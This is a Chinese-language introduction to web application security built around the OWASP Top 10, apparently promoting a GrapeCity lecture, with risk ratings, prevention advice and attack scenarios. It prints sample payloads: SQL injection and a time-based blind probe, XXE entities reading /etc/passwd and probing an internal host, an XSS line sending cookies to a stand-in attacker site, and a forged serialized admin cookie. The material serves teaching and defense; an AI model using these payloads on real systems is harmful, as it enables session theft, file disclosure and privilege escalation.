WebApp 安全入门
2018 網絡安全事故頻發，從數據泄露、信息竊取，到 DDOS 攻擊、勒索病毒，不僅威脅的總數在增加，威脅態勢也變得更加多樣化，攻擊者在不斷開發新的攻擊途徑的同時，也盡力在攻擊過程中掩蓋其蹤跡，使網絡安全防護變得越發棘手。
未來是萬物互聯的時代，唯有把握住網絡信息安全，才能避免被降維打擊。本次分享，葡萄城技術團隊將從 WebApp 安全出發，帶你了解更多意想不到的安全防護措施與黑客攻擊手段，助你提高網絡安全意識，最終學會如何提高風險意識，避免遭受網絡安全攻擊。
本場 Chat 核心內容：
- 第一節：WebApp 安全風險和防護（PPT Page 1~7）
- WebApp 安全現狀分析
- 2018 網絡安全事故
- 黑客如何攻擊系統
- OWASP Top 10 簡介
- 第二節：WebApp 風險講解（上）(PPT Page 8~10)
- 注入
- 失效的身份認證
- 敏感數據泄露
- 第三節：WebApp 風險講解（下）(PPT Page 11~18)
- XML 外部實體
- 其他常見的風險
- 我們能做什么
2018 網絡安全事故頻發，從數據泄露、信息竊取，到 DDOS 攻擊、勒索病毒，不僅威脅的總數在增加，威脅態勢也變得更加多樣化，攻擊者在不斷開發新的攻擊途徑的同時，也盡力在攻擊過程中掩蓋其蹤跡，使網絡安全防護變得越發棘手。
未來是萬物互聯的時代，唯有把握住網絡信息安全，才能避免被降維打擊。本場 Chat，我們特邀 Carl 作為分享嘉賓，于葡萄城技術公開課上，以 WebApp 安全防護為出發點，帶你了解更多意想不到的安全防護措施與黑客攻擊手段，助你提高網絡安全意識，最終學會如何規避風險隱患，避免遭受網絡安全攻擊。
下面開始展開正文。
開闊眼界 – 提升安全意識
提升網絡安全意識對項目團隊中的每一個角色、每一個流程都至關重要。同時，也只有具備了網絡安全意識，才愿意為數據安全投入更多的時間和精力。下面，我將為您展示部分 2018 年發生的網絡安全事故，這些事故造成的損失，也許遠遠超出你的想象。
2018 網絡安全事故回顧
Facebook 數據泄露事件： 2018年9月，Facebook 因安全系統漏洞而遭受黑客攻擊，導致約 5000 萬用戶信息泄露。
上市公司數據堂，涉嫌侵犯數百億條公民個人信息： 大數據行業知名企業數據堂在短短 8 個月的時間內，日均泄露公民個人信息 1.3 億余條，累計傳輸數據壓縮后約為 4000GB。
圓通 10 億快遞信息泄露： 10 億條用戶數據遭公開售賣，這些數據包括寄（收）件人姓名、電話、地址等隱私信息。
萬豪酒店 5 億用戶開房信息泄露： 萬豪酒店客房預訂數據庫遭黑客入侵，約5億名客戶的信息可能被泄露。
更多數據泄露事件
勒索病毒事件
DDoS 攻擊
年度重大漏洞盤點
知己知彼 – 黑客如何攻擊系統
一名黑客攻擊網站的典型步驟，主要分為以下 5 步：
黑客不是手動測試系統漏洞的，而是有很多強大的工具可以自動化完成。黑客不是利用系統中的一個漏洞，而是要利用一系列，不同層次的漏洞。黑客經常批量攻擊一系列網站，選取其中漏洞較多，較好利用的重點突破
十大安全風險（OWASP Top 10）
不安全的軟件正在破壞著我們的金融、醫療、國防、能源和其他重要的基礎設施。隨著我們的軟件變得愈加龐大、復雜且相互關聯，實現應用程序安全的難度也呈指數級增長。而現代軟件開發過程的飛速發展，使得快速、準確地識別軟件安全風險變得愈發的重要，OWASP 組織也因此誕生。
OWASP，即開放式 Web 應用程序安全項目（Open Web Application Security Project），作為一個開源的、非盈利的全球性安全組織，它提供了有關計算機和互聯網應用程序的公正、實際、有成本效益的信息，其目的是協助個人、企業和機構來發現并使用可信賴的軟件。
OWASP Top 10 是由 OWASP 組織公布，最具權威性的“10 項最嚴重的 Web 應用程序安全風險預警”，其就安全問題從威脅性和脆弱性兩方面進行可能性分析，并結合技術和商業影響的分析結果，輸出公認的、最嚴重的十類 Web 應用安全風險排名。OWASP Top 10 旨在針對上述風險，提出解決方案，幫助 IT 公司和開發團隊規范應用程序開發流程和測試流程，提高 Web 產品的安全性。
OWASP 敦促所有公司在其組織內采用 OWASP Top 10 文檔，并確保其 Web 應用程序最大限度地降低這些風險，采用 OWASP Top 10 可能是將企業內的軟件開發文化轉變為生成安全代碼文化最行之有效的一步。
OWASP Top 10 包括
OWASP Top 10 應用安全風險詳解
《OWASP Top 10》的目的在于為廣大企業確定一組最嚴重的風險項目。對于其中的每一項風險，我們將使用基于 OWASP 風險等級排序的評級方案，為您提供關于漏洞普遍性、可檢測性、業務/技術影響等信息。
注入
將不受信任的數據作為命令或查詢的一部分發送到解析器時，會產生諸如 SQL 注入、NoSQL 注入、OS 注入和 LDAP 注入等注入缺陷。攻擊者的惡意數據可以誘使解析器在沒有適當授權的情況下執行非預期命令或訪問數據。
可利用性：容易幾乎任何數據源都能成為注入載體，包括環境變量、所有類型的用戶、參數、外部和內部Web服務。當攻擊者可以向解釋器發送惡意數據時，注入漏洞便可產生。
普遍性：常見注入漏洞十分普遍，尤其是在遺留代碼中。注入漏洞通常能在 SQL、LDAP、XPath 或是 NoSQL 查詢語句、OS 命令、XML 解析器、SMTP 包頭、表達式語句及 ORM 查詢語句中找到。
可檢測性：易注入漏洞很容易通過代碼審查發現。掃描器和模糊測試工具可以幫助攻擊者找到這些漏洞。
技術影響：嚴重注入能導致數據丟失、破壞或泄露給無授權方、缺乏可審計性或是拒絕服務。注入有時甚至能導致主機被完全接管。
業務影響：未知您的應用和數據需要受到保護，以避免對業務造成影響。
自查：您的應用程序脆弱嗎？
當您的應用有如下情況時，是脆弱且易受到攻擊的：
一些常見的注入，包括：SQL、OS 命令、ORM、LDAP 和表達式語言（EL）或 OGNL 注入。
所有編譯器的原理都是相似的，因此 Code Review 是目前為止最有效的檢測應用程序注入風險的辦法之一。當然，您也可以對代碼中所有參數、字段、頭、cookie、JSON 和 XML 數據輸入進行 DAST 掃描，并將 SAST 和 DAST 工具添加到 CI/CD 進程中，以便在項目部署前對現有代碼或新代碼進行注入檢測。
如何防止注入？
防止注入漏洞需要將數據與命令語句、查詢語句分隔開來：
攻擊案例場景
場景#1：應用程序在脆弱的 SQL 語句結構中使用不可信數據：String query = "SELECT * FROM accounts WHEREcustID='" + request.getParameter("id") + "'“;
場景#2：框架應用的盲目信任，也可能導致查詢語句的漏洞。（例如：Hibernate查詢語言（HQL））：Query HQLQuery = session.createQuery("FROM accountsWHERE custID='" + request.getParameter("id") + "'");
在這兩個案例中，攻擊者在瀏覽器中將“id”參數的值修改成： ’or’1’=’1。例如：http://example.com/app/accountView?id=' or '1'='1這樣查詢語句的意義就變成了從 accounts 表中返回所有記錄。
SQL 盲注
SQL 盲注，就是在 SQL 語句注入后且成功執行時，執行的結果不能回顯到前端頁面。此時，我們需要利用一些方法進行判斷或者嘗試，這個過程稱之為盲注。
盲注一般分為三類：
一、基于布爾的盲注
基于布爾的盲注通常使用邏輯判斷推測獲取的數據，通過給定條件，服務器返回真或假。使用二分法或者正則表達式等方法即可縮小判斷的范圍。
二、基于時間的盲注
主要是利用延時或者執行的時間來判斷。
If(ascii(substr(database(),1,1))>115,0,sleep(5))%23 //if 判斷語句，條件為假，執行 sleep
因為延時會受到網絡環境的影響，因此這種方法不是很可靠。
三、基于報錯的盲注
構造 payload 讓信息通過錯誤提示顯示。
count(*) 和 rand(0) 和 group by 報錯
rand(0) 是偽隨機數列，01101100。產生報錯的原因是因為 rand(0) 并不是一個定值，相當于一個變量。使用 group by 時，會建立一張虛擬表，字段為 key 和 count(*)。執行插入操作，第一次返回 0，但虛擬表中沒有這個項，數據庫會認為需要插入這個項，但數據庫并沒有記錄下來，因此，會再次執行 rand(0) 試圖獲取，但此時獲取的是第二個數。依次類推，當數據庫查詢發現 0 這個項不存在，執行插入操作時， rand(0) 返回值為 1，但是 1 已經存在，這時插入已經存在的項就會報錯。
WAF 繞過
之所以要談到 WAF 的常見特征，是為了更好的了解 WAF 的運行機制，以便增加繞過 WAF 的機會。總體來說，WAF(Web Application Firewall)具有以下四個方面的功能：
WAF過濾機制：
繞過 WAF 的方法：
從目前能找到的資料來看，繞過WAF的技術主要分為9類，包含：
身份認證失效
通過錯誤地使用 Web 應用程序的身份認證和會話管理功能，攻擊者能夠破譯密碼、密鑰和會話令牌，或者利用其它開發缺陷來暫時性或永久性地冒充管理員的身份。
可利用性：容易攻擊者可以輕松獲取數百萬條有效用戶名和密碼組合，包括證書、默認的賬戶管理列表、自動的暴力破解和字典攻擊工具，以及高級的 GPU 破解工具。會話管理可以很容易地被利用，尤其是沒有過期的會話密匙。
普遍性：常見大多數管理系統的設計和實現，都存在身份認證失效的問題。會話管理是身份驗證和訪問控制的基礎，并且存在于整個應用程序的進程中。
可檢測性：一般攻擊者通常使用指南手冊來檢測失效的身份驗證。除此之外，也會關注密碼轉儲、字典攻擊，或者在類似釣魚、社會工程攻擊后，發現失效的身份認證。
技術影響：嚴重攻擊者只需訪問幾個賬戶，或者一個管理員賬戶就可以破壞我們的系統。根據應用程序業務場景的不同，可能會導致洗錢、欺詐、用戶身份盜竊、泄露法律保護的敏感信息等嚴重違法行為。
自查：您的應用程序脆弱嗎？
確認用戶身份、身份驗證和會話管理非常重要，這些措施可用于將惡意的、未經身份驗證的攻擊者與授權用戶進行分離。如果您的應用程序存在如下問題，那么可能存在身份驗證失效漏洞：
如何防止？
攻擊案例場景
場景#1：最常見的攻擊方式——憑證填充，使用已知密碼的列表。如果應用程序不限制身份驗證嘗試次數，則可以將應用程序用作密碼 oracle， 以確定憑證是否有效。
場景#2：大多數身份驗證攻擊都是由于密碼作為唯一的認證因素。
場景#3：應用會話超時設置不正確。用戶使用公共計算機訪問應用程序時，直接關閉瀏覽器選項卡就離開，而不是選擇“注銷”。
憑據填充（撞庫）
撞庫，是黑客通過收集互聯網已泄露的用戶和密碼信息，生成對應的字典表，嘗試批量登陸其他網站后，得到一系列可以登錄的用戶。很多用戶在不同網站使用的是相同的賬號和密碼，因此黑客可以通過獲取用戶在 A 網站的賬戶從而嘗試登錄 B 網站，這就是撞庫攻擊。
撞庫可以通過數據庫安全防護技術解決，數據庫安全技術包括：數據庫漏掃、數據庫加密、數據庫防火墻、數據脫敏、數據庫安全審計系統。
撞庫并不神秘，事實上，它正被廣泛的使用。舉例而言，根據 Shape Security 的報告，“攻擊者們一旦鎖定了一個財富 100 強的 B2C(企業對消費者)網站，就會在一個星期內使用遍布世界各地的代理服務器，對其進行超過五百萬次登錄嘗試。” 雪上加霜的是，被竊取的憑證也并不難找。黑客們會為了找樂子或尋求揚名立萬的機會把憑證散播到網上。當黑客們在憑證黑市(比如 Cracking-dot-org、 Crackingking-dot-org 以及 Crackingseal-dot-io)做生意時，這些名聲會派上大用場。
多因素驗證
多因素驗證（Multi-factor authentication，縮寫為 MFA），又譯多因子認證、多因素認證，是一種計算機訪問控制的方法，用戶要通過兩種以上的認證機制之后，才能得到授權，使用計算機資源。例如，用戶要輸入 PIN 碼，插入銀行卡，最后再經指紋比對，通過這三種認證方式，才能獲得授權。這種認證方式可以提高安全性。
敏感數據泄露
許多 Web 應用程序和 API 都無法正確保護敏感數據，例如：財務數據、醫療數據和PII數據。攻擊者可以通過竊取或修改未加密的數據來實施信用卡詐騙、身份盜竊或其他犯罪行為。未加密的敏感數據容易受到破壞，因此，我們需要對敏感數據加密，這些數據包括：傳輸過程中的數據、存儲的數據以及瀏覽器的交互數據。
可利用性：一般攻擊者并非直接攻擊，而是在傳輸過程中、從客戶端（例如：瀏覽器）竊取密鑰、發起中間人攻擊，或從服務器端直接竊取明文數據。
普遍性：廣泛這是最常見，也是最具影響力的攻擊手段。在數據加密的過程中，由于不安全的密鑰生成、管理以及使用弱加密算法、弱協議和弱密碼（未加鹽的哈希算法或弱哈希算法），導致數據泄露事件頻發。
可檢測性：一般在服務器端，檢測傳輸過程中的數據弱點很容易，但檢測存儲數據的弱點卻異常困難。
技術影響：嚴重敏感數據泄露事件造成的影響是非常嚴重的，因為這些數據通常包含了很多個人信息（PII），例如：醫療記錄、認證憑證、個人隱私、信用卡信息等。這些信息受到相關法律和條例的保護，例如：歐盟《通用數據保護條例》（GDPR）和地方隱私保護法律。
自查：您的應用程序脆弱嗎？
首先你需要確認哪些數據（包含：傳輸過程中的數據、存儲數據）是敏感數據。例如：密碼、信用卡卡號、醫療記錄、個人信息等，這些數據應該被加密，請Review：
如何防止？
對一些需要加密的敏感數據，應該做到以下幾點：
攻擊案例場景
場景 #1：假設一個應用程序使用自動化的數據加密系統加密了信用卡信息，并存儲在數據庫中，當數據被檢索時自動解密。這會導致 SQL 注入漏洞能夠以明文形式獲得所有信用卡卡號。
場景 #2：一個網站上沒有使用或強制使用 TLS，或者僅使用弱加密算法。攻擊者通過監測網絡流量（如：不安全的無線網絡），將網絡連接從 HTTPS 降級到 HTTP，就可以截取請求并竊取用戶會話 cookie。然后，攻擊者可以復制用戶 cookie 并成功劫持經過認證的用戶會話、訪問或修改用戶個人信息。除此之外，攻擊者還可以更改所有傳輸過程中的數據，如：轉款的接收者。
場景 #3：密碼數據庫使用未加鹽的哈希算法或弱哈希算法去存儲密碼，此時，一個文件上傳漏洞可使黑客能夠獲取密碼文件，而這些未加鹽的哈希密碼通過彩虹表暴力破解方式即可快速破解。
各國應對措施
日本個人信息保護法
近年來，因信息、通信技術的發展，企業需要收集大量個人信息，用以提供準確且迅速的服務。個人信息的利用，無論是對現今的商業活動，還是對國民生活都變得不可或缺。但是，另一方面，由于處理個人信息狀況不當，導致個人權利和利益受到損害的可能性也在增大。在日本，包含企業和政府等團體的組織內部，泄露的個人信息數量累積超過了1000萬件。于是，鑒于規范處理個人信息，明確國家及地方公共團體的職責，確保個人信息有效利用等目的，日本于2005年4月1日起頒布《個人信息保護法》。
歐盟《通用數據保護條例》（GDPR)
歐盟《通用數據保護條例》（General Data Protection Regulation，簡稱GDPR），其前身是歐盟在1995年制定的《計算機數據保護法》，該法明確規定：
設計安全賬號系統的正確姿勢
數據安全防范的方法簡單來說，當數據從用戶鍵盤敲出的那一刻，到服務器后臺存儲過程中，都需保持正確的姿勢。如：
用正確的姿勢保存密碼a) 低級錯誤：明文保存密碼b) 低級錯誤：可逆加密密碼c) 錯誤方法：md5 加密密碼d) 正確方法：加鹽 hash 保存密碼
用正確的姿勢傳輸數據a) 驗證服務端的合法性b) 確保通信的安全
用正確的姿勢加密敏感信息
用正確的姿勢對數據進行備份和監控
XML 外部實體（XXE）
許多較早的或配置錯誤的 XML 處理器評估了 XML 文件中的外部實體引用。攻擊者可以利用外部實體竊取使用 URI 文件處理器的內部文件和共享文件、監聽內部掃描端口、執行遠程代碼和實施拒絕服務攻擊。
可利用性：一般如果攻擊者可以上傳 XML 文檔或在 XML 文檔中添加惡意內容（如，易受攻擊的代碼、依賴項或集成），他們就能夠攻擊含有缺陷的 XML 處理器。
普遍性：常見一般來說，許多舊的 XML 處理器能夠對外部實體、XML 進程中被引用和評估的 URI 進行規范。SAST 工具可以通過檢查依賴項和安全配置來發現 XXE 缺陷。DAST 工具需要額外的手動步驟來檢測和利用 XXE 缺陷。
技術影響：嚴重XXE 缺陷可用于提取數據、執行遠程服務器請求、掃描內部系統、執行拒絕服務攻擊和其他攻擊。
自查：您的應用程序脆弱嗎？
應用程序，特別是基于 XML 的 Web 服務，可能在以下方面容易受到攻擊：
如何防止？
培訓開發人員的安全意識，是識別和減少 XXE 的關鍵，除此之外，還需要：
攻擊案例場景
目前，已經有大量XXE缺陷被發現并公開，這些缺陷包括上傳可被接受的惡意XML文件、嵌入式設備的 XXE缺陷及深嵌套的依賴項等。
場景 #1：攻擊者嘗試從服務端提取數據：
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <foo>&xxe;</foo>場景 #2：攻擊者通過將上面的實體行更改為以下內容來探測服務器的專用網絡：
<!ENTITY xxe SYSTEM "https://192.168.1.1/private" >]>場景 #3：攻擊者通過惡意文件執行拒絕服務攻擊：
<!ENTITY xxe SYSTEM "file:///dev/random" >]>XML基本定義
XML是用于標記電子文件使其具有結構性的標記語言，可以用來標記數據、定義數據類型，是一種允許用戶對自己的標記語言進行定義的源語言。XML文檔結構包括XML聲明、DTD文檔類型定義（可選）、文檔元素。 圖片來自網絡
XML由3個部分構成，分別是：文檔類型定義（Document Type Definition，DTD），即XML的布局語言；可擴展的樣式語言（Extensible Style Language，XSL），即XML的樣式表語言；以及可擴展鏈接語言（Extensible Link Language，XLL）。
XML 中的實體分為以下五種：字符實體，命名實體，外部實體，參數實體，內部實體，普通實體和參數實體都分為內部實體和外部實體兩種，外部實體定義需要加上 SYSTEM關鍵字，其內容是URL所指向的外部文件實際的內容。如果不加SYSTEM關鍵字，則為內部實體，表示實體指代內容為字符串。
XML外部實體
XML外部實體表示外部文件的內容，用 SYSTEM 關鍵詞表示：
<!ENTITY test SYSTEM "1.xml">有些XML文檔包含system標識符定義的“實體”，這些文檔會在DOCTYPE頭部標簽中呈現。這些定義的“實體”能夠訪問本地或者遠程的內容。比如，下面的XML文檔示例就包含了XML“實體”。
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE Anything [<!ENTITY entityex SYSTEM "file:///etc/passwd">]><abc>&entityex;</abc>在上面的代碼中， XML外部實體 ‘entityex’ 被賦予的值為：file://etc/passwd。在解析XML文檔的過程中，實體’entityex’的值會被替換為URI(file://etc/passwd)內容值（也就是passwd文件的內容）。 關鍵字’SYSTEM’會告訴XML解析器，’entityex’實體的值將從其后的URI中讀取，并把讀取的內容替換entityex出現的地方。假如 SYSTEM 后面的內容可以被用戶控制，那么用戶就可以隨意替換為其他內容，從而讀取服務器本地文件（file:///etc/passwd)或者遠程文件（http://www.baidu.com/abc.txt）。
XXE 注入定義
XXE注入（即XML External Entity, XML外部實體注入）。通過 XML 實體，”SYSTEM”關鍵詞導致 XML 解析器可以從本地文件或者遠程 URI 中讀取數據。攻擊者可以通過 XML 實體傳遞自己構造的惡意值，從而引導處理程序解析它。當引用外部實體時，攻擊者通過構造惡意內容，可讀取任意文件、執行系統命令、探測內網端口、攻擊內網網站等行為。
XXE 漏洞原理
最常見的 XXE 漏洞類型分為以下三種：
既然 XML 可以從外部讀取 DTD 文件，那我們就自然地想到了如果將路徑換成另一個文件的路徑，那么服務器在解析這個 XML 的時候就會把那個文件的內容賦值給 SYSTEM 前面的根元素中，只要我們在 XML 中讓前面的根元素的內容顯示出來，就可以讀取那個文件的內容了。這就造成了一個任意文件讀取的漏洞。
假設我們指向的是一個內網主機的端口呢？是否會給出錯誤信息，我們是不是可以從錯誤信息上來判斷內網主機這個端口是否開放，這就造成了一個內部端口被探測的問題。一般來說，服務器解析 XML 有兩種方式，一種是一次性將整個 XML 加載進內存中，進行解析；另一種是一部分的、“流式”地加載、解析。如果我們遞歸地調用 XML 定義，一次性調用巨量的定義，那么服務器的內存就會被消耗完，造成了拒絕服務攻擊。
失效的訪問控制
未對通過身份驗證的用戶實施恰當的訪問控制。攻擊者可以利用這些缺陷，訪問未經授權的功能或數據，例如：訪問其他用戶的賬戶、查看敏感文件、修改其他用戶的數據、更改訪問權限等。
安全配置錯誤
安全配置錯誤是最常見的安全問題，這通常是由于不安全的默認配置、不完整的臨時配置、開源云存儲、錯誤的 HTTP 標頭配置以及包含敏感信息的詳細錯誤信息所造成的。因此，我們不僅需要對所有的操作系統、框架、庫和應用程序進行安全配置，而且必須及時修補和升級它們。
跨站腳本（XSS）
當應用程序的新網頁中包含不受信任的、未經驗證或轉義的數據時，或者使用可以創建 HTML 或 JavaScript 的瀏覽器 API 更新現有網頁時，就會出現 XSS 缺陷。XSS 讓攻擊者能夠在受害者的瀏覽器中執行腳本，并劫持用戶會話、破壞網站或將用戶重定向到惡意站點。
可利用性：容易自動化工具能夠檢測并利用所有的三種 XSS 形式，并且存放在便于攻擊者利用的漏洞中。
普遍性：廣泛XSS 是 OWASP Top10 中第二普遍的安全問題，存在于近三分之二的應用程序中。
可檢測性：容易自動化工具能發現 XSS 問題，尤其是一些成熟的技術框架中，如：PHP、J2EE 或 JSP、ASP.NET 等。
技術影響：中等XSS 對于反射和 DOM 的影響是中等的，而對于存儲的 XSS，XSS 的影響更為嚴重，譬如在受到攻擊的瀏覽器上執行遠程代碼，如：竊取憑證和會話或傳遞惡意軟件等。
自查：您的應用程序脆弱嗎？
針對用戶的瀏覽器，存在三種 XSS 類型：
如何防止？
防止 XSS，需要將不可信的數據與動態的瀏覽器內容區分開：
攻擊案例場景
場景#1：應用程序在下面的 HTML 代碼段構造中使用了未經驗證或轉義的不可信的數據源：
(String) page += "<input name='creditcard' type='TEXT‘ value='" + request.getParameter("CC“) + "'>";攻擊者在瀏覽器中修改“CC” 參數為如下值：
'><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>'.這個攻擊會導致受害者的會話 ID 被發送到攻擊者的網站，使得攻擊者能夠劫持用戶當前會話。
內容安全策略 (CSP)
內容安全策略 (CSP) 是一個額外的安全層，用于檢測并削弱某些特定類型的攻擊，包括跨站腳本 (XSS) 和數據注入攻擊等。無論是數據盜取、網站內容污染還是惡意軟件，這些攻擊都是主要的手段。
CSP 被設計成完全向后兼容（除CSP2 在向后兼容有明確提及的不一致外）。不支持 CSP 的瀏覽器也能與實現了 CSP 的服務器正常合作，反之亦然：不支持 CSP 的瀏覽器只會忽略它，如常運行，默認為網頁內容使用標準的同源策略。如果網站不提供 CSP Header，瀏覽器將使用標準的同源策略。
為使 CSP 可用, 你需要配置你的網絡服務器返回 Content-Security-Policy HTTP Header ( 有時你會看到一些關于 X-Content-Security-Policy Header 的提法, 那是舊版本，你無須再如此指定它)。
除此之外, 元素也可以被用來配置該策略, 例如：
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">上下文敏感數據編碼（XSS 編碼與繞過）
對于了解 Web 安全的朋友來說，都知道 XSS 這種漏洞，其危害性不用強調。一般對于該漏洞的防護有兩個思路：一是過濾敏感字符，諸如【<，>，script，'】等，另一種是對敏感字符進行 html 編碼，諸如 php 中的 htmlspecialchars() 函數。
一般情況，正確實施這兩種方案之一就可以有效防御 XSS 漏洞了。但其實也會有一些場景，即使實施了這兩種方案，攻擊者也可以繞過防護，導致 XSS 漏洞被利用。
場景一：XSS 注入點在某個 html 標簽屬性中，代碼片段如下： 可以看到，這里防護措施采用的是方案一：過濾敏感字符。這里如果輸入javascript:alert (11)，是會被過濾掉的，輸出的內容會是：
場景二：XSS 注入點在 js 標簽中，代碼片段如下： 這里采用的防護措施是第二種，即使用 php 內置函數 htmlspecialchars 對敏感字符進行編碼。如果輸入正常的 payload，如：<img src=1 onerror=alert(11)>，是不會有彈窗的，此時瀏覽器的輸出如下圖： 這里的敏感字符< >，已經被 html 編碼了，最后在
標簽里面輸出的時候，瀏覽器再使用 html 解碼將其原文顯示出來，但是并不會觸發js引擎，所以也就沒有彈窗。下圖是 js 編碼后的 payload：
不安全的反序列化
不安全的反序列化會導致遠程代碼執行。即使反序列化缺陷不會導致遠程代碼執行，攻擊者也可以利用它們來執行攻擊，包括：重播攻擊、注入攻擊和特權升級攻擊。
可利用性：難對反序列化的利用非常困難。因為在不更改或調整底層可被利用代碼的情況下，現成的反序列化漏洞很難被使用。
可檢測性：一般有些工具可以被用于發現反序列化缺陷，但經常需要人工幫助來驗證發現的問題。希望有關反序列化缺陷的普遍性數據將隨著工具的開發而被更多的識別和解決。
技術影響：嚴重反序列化缺陷的影響不能被低估。它們可能導致遠程代碼執行攻擊，這是可能發生的最嚴重的攻擊之一。
自查：您的應用程序脆弱嗎？
如果反序列化進攻者提供惡意代碼或者被篡改過的對象，將會使整個應用程序和 API 變的脆弱，這可能會導致以下兩種主要類型的攻擊：
如果應用中存在可以在反序列化過程中或者之后被改變行為的類，則攻擊者可以通過改變應用邏輯或者實現遠程代碼執行攻擊，這種攻擊方式被稱為對象和數據結構攻擊。
典型的數據篡改攻擊，如訪問控制相關的攻擊，其中使用了現有的數據結構，但內容發生了變化。
在應用程序中，序列化可能被用于:
- 遠程和進程間通信（RPC / IPC）
- 連線協議、Web服務、消息代理
- 緩存/持久性
- 數據庫、緩存服務器、文件系統
- HTTP cookie、HTML 表單參數、API 身份驗證令牌
如何防止？
唯一安全的架構模式是：不接受來自不受信源的序列化對象，或使用只允許原始數據類型的序列化媒體。 如果上述均無法實現，請考慮使用下面的方法：
攻擊案例場景
場景 #1：一個 React 應用程序調用了一組 Spring Boot 微服務，為了確保原有的代碼不變，解決方法是序列化用戶狀態，并在每次請求時來回傳遞。這時，攻擊者可利用“R00”Java 對象簽名，并使用 Java Serial Killer 工具在應用服務器上獲得遠程代碼執行。
場景 #2：一個 PHP 論壇使用 PHP 對象序列化來保存一個“超級”cookie。該 cookie 包含了用戶的 ID、角色、密碼哈希和其他狀態：
a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user"; i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}
攻擊者可以更改序列化對象以授予自己為admin權限：
a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin"; i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}
使用含有已知漏洞的組件
組件（例如：庫、框架和其他軟件模塊）擁有和應用程序相同的權限。如果應用程序中含有已知漏洞的組件被攻擊者利用，可能會造成嚴重的數據丟失或服務器接管。同時，使用含有已知漏洞的組件和API會破壞應用程序的防御手段，造成各種攻擊并產生嚴重影響。
不足的日志記錄和監控
不足的日志記錄和監控，以及事件響應缺失或無效的集成，使攻擊者能夠進一步攻擊系統，并篡改、提取或銷毀數據。大多數缺陷研究顯示，缺陷被檢測出的時間超過 200 天，且通常通過外部檢測方檢測，而不是通過內部流程或監控檢測。
未雨綢繆 - 項目中如何應對
開發人員需要做些什么？
以上便是從本次 Chat——“WebApp 安全風險與防護（系列二）”中截取的部分內容，相信一定能對您的 WebApp 應用程序安全防護有所幫助。
更多關于 WebApp 安全風險防護手段及葡萄城安全架構中的實踐分享，將在葡萄城系列公開課“WebApp 安全風險與防護”中，由 Carl 親自講解，誠邀您學習觀看。
歡迎大家掃描下圖二維碼，預約報名參加。
**直播地址：http://live.vhall.com/137416596 **
**公開課地址：http://live.vhall.com/137416596 **公開課時間：2019/6/28 （周五）16:00 PM
最后
錯過本場直播？沒關系，所有直播內容我們會存放在葡萄城公開課頁面，便于您隨時觀看、學習。
“賦能開發者”葡萄城除了為所有開發人員提供免費的開發技巧分享、項目實戰經驗外，還提供了眾多高水準、高品質的開發工具和開發者解決方案，可有效幫助開發人員提高效率，縮短項目周期，使開發人員能更專注于業務邏輯，順利完成高質量的項目交付，歡迎您深入了解。
講師資料：Carl（陳慶），葡萄城高級架構師、葡萄城技術公開課講師。擁有15年項目開發經驗，專注于產品架構、編程技術等領域，對網絡安全有著獨到見解，曾擔任微軟TechEd講師，樂于研究各種前沿技術并分享。
閱讀全文: http://gitbook.cn/gitchat/activity/5d0998e6dff5210354877cf0
您還可以下載 CSDN 旗下精品原創內容社區 GitChat App ， GitChat 專享技術內容哦。
總結
以上是生活随笔為你收集整理的WebApp 安全入门的全部內容，希望文章能夠幫你解決所遇到的問題。
- 上一篇： Win XP 精简版安装SQL Serv
- 下一篇： 【java初学】正则表达式和敏感词汇过滤